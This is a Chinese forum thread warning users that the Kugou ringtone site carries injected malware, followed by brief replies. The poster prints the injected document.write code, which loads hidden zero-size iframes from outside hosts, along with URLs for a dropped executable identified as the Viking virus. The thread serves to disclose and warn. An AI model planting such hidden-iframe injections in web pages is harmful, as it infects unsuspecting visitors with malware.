主题：酷狗铃声被挂马，大家小心!!!

酷狗铃声被挂马拉.

里面有连接到

http://webservice.o00o.cn/f/fun.aspx

它的挂马内容是

document.write('<div style="display:none;"><iframe src=http://w.vvcyin.com/1/020.htm width=0 height=0></iframe><iframe src=http://www.haion.com/c.htm width=0 height=0></iframe></div>');

呵呵.不过经常获取到的代码却是

function SendRing3(ID,Type)

{

     Url = "http://www.o00o.cn/mms.asp?AutoId=" + ID +"&rtype=" + Type;

     window.open(Url,"","toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,width=676,height=410,top="+(screen.availHeight-339)/2+",left="+(screen.availWidth-457)/2);

     return true;

}

function SendRing23(ID,Type)

{

     Url = "mms.asp?AutoId=" + ID +"&rtype=" + Type;

     //window.open(Url,"","toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,width=457,height=339,top="+(screen.availHeight-339)/2+",left="+(screen.availWidth-457)/2);

  

     location.href = Url;

  

  

     return true;

}

function ClearKey3()

{

document.f_search.key.value=""

}

function ClearKey2()

{

document.f_pic.key.value=""

}

function gc3(mobile,ad)

{

url=""+mobile+"&ad="+ad

var run=window.showModalDialog(url,1111,"unadorned: Yes;edge:sunken;status:no;resizable:no;help:no;scroll:no;dialogWidth:400px; dialogHeight:200px");

return (run);

}

http://w.vvcyin.com/1/020.htm下载了

http://x.vvcyin.com/0.exe

一个经典的VIKING病毒.又是它.....记得以前很多下载站也是挂着它.名字都一样.大家更新下杀毒软件进行查杀.我的瑞星也可以杀...

偶然.真的是偶然发现.....我在听歌的时候发现的....

恩，楼主立功啦！

不错不错，支持一下。

哈哈哈,不是你挂的吧,

那我就不听歌了

晕了……

已经！

真的假的？我经常用酷狗听歌来着。。